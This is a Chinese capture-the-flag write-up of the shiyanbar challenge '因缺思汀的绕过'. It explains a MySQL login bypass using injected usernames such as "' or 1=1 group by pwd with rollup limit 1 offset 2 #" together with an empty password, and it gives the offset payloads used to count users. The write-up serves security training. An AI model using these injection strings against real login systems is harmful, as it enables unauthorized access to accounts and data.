因缺思汀的绕过

http://www.shiyanbar.com/ctf/1940


因缺思汀的绕过
访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码,请求,响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。web题主要考察SQL注入,XSS等相关知识。涉及方向较多。
此题主要涉及源码审计,MySQL相关的知识。
flag格式 CTF{}
解题链接: http://ctf5.shiyanbar.com/web/pcat/index.php




解:
打开源码发现提示<!--source: source.txt-->
于是找到真正源码:http://ctf5.shiyanbar.com/web/pcat/source.txt

想要得到flag必须先绕过这3点:
因缺思汀的绕过

1.不能使用上述关键字
2.数据库影响数为1
3.通过第三个if
第一个不使用即可通过


第二个返回结果只能有一条(说明用户不止一个)
    确定一下当前用户人数,由于第一个过滤了,所以使用limit 1 offset 1来判断人数
    ’ or 1=1 limit 1 offset 0#    返回!(一个人)偏移量从0开始
    ’or 1=1 limit 1 offset 1#    返回!(两个人)
    ’ or 1=1 limit 1 offset 2#    返回!
    

第三个输入的密码和数据库的密码要相同
    这里可以用这个语句group by pwd with rollup(分组后会在多一行统计)
    由于对字符串统计无效第三行的pwd结果是NULL这样就可以通过
    由于使用了with rollup后会多出一条,所以offset 2 可以正确返回NULL


第四个:
大概的意思就是在GROUP BY子句中使用WITH ROLLUP会在数据库中加入一行用来计算总数,ROLLUP子句的更加详细的用法,可以参考mysql的官方文档,此处就不多做赘述了。再结合limit和offset就可以写出

`` 即:输入的用户名为:' or 1=1 group by pwd with rollup limit 1 offset 2 #

密码为空。

这里解释一下此时执行的SQL:
SELECT * FROM interest where uname=' ' or 1=1 
group by pwd with rollup  (在数据库中添加一行使得pwd=NULL)
limit 1 (只查询一行)
offset 2  (从第二行开始查询)
#注释

此时密码只要为空即可查询成功

因缺思汀的绕过












参考:http://blog.csdn.net/qq_34841823/article/details/54287419
http://www.bubuko.com/infodetail-2169730.html